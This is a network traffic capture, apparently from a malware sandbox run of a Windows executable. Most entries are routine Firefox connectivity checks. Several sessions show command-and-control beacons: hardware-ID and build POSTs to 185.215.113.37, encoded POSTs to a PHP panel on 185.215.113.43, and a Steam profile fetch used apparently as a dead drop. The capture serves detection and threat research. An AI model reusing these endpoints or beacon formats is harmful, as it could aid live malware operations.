Oct 23, 2024 17:53:03.112786055 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85244 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:07.948848009 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:08.075450897 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85249 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:18.112236977 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 23, 2024 17:53:18.893948078 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:19.020905018 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85259 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:29.033449888 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 23, 2024 17:53:30.382164955 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:30.508840084 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85271 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:31.075489998 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:31.202287912 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85272 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:32.407972097 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:32.535008907 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85273 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 17:53:39.689089060 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 17:53:39.815911055 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 85280 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	50105	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:01.387974024 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	50108	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:01.744848967 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	50110	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:01.904886961 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	50111	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:01.923517942 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 17:53:02.811052084 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:53:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 17:53:02.815809965 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHI Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="build"doma------DAECFIJDAAAKECBFCGHI--
Oct 23, 2024 17:53:03.096131086 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:53:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	50112	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:01.933818102 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:53:02.847788095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:53:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	50114	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:02.176682949 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	50116	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:02.437370062 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	50117	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:02.891216040 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	50118	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:03.123392105 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:53:03.715435982 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85509 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:53:08.092833996 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:53:08.217711926 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85514 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:53:18.314347982 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 23, 2024 17:53:19.027192116 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:53:19.150485992 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85525 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:53:29.155153036 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 23, 2024 17:53:30.514261961 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:53:30.637701035 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85536 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:53:31.205931902 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:53:31.329761028 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85537 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:53:32.537332058 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:53:32.661297083 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85538 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 17:53:39.844294071 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 17:53:39.969127893 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 85545 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	50119	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:04.379044056 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:53:05.399843931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:53:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	50120	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:53:07.037822962 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:53:07.961266994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:53:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	104.102.49.254	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:06 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-23 15:51:07 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 23 Oct 2024 15:51:07 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=2c13f07900a09e0f796a97d4; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=None
2024-10-23 15:51:07 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-23 15:51:07 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-23 15:51:07 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-23 15:51:07 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a 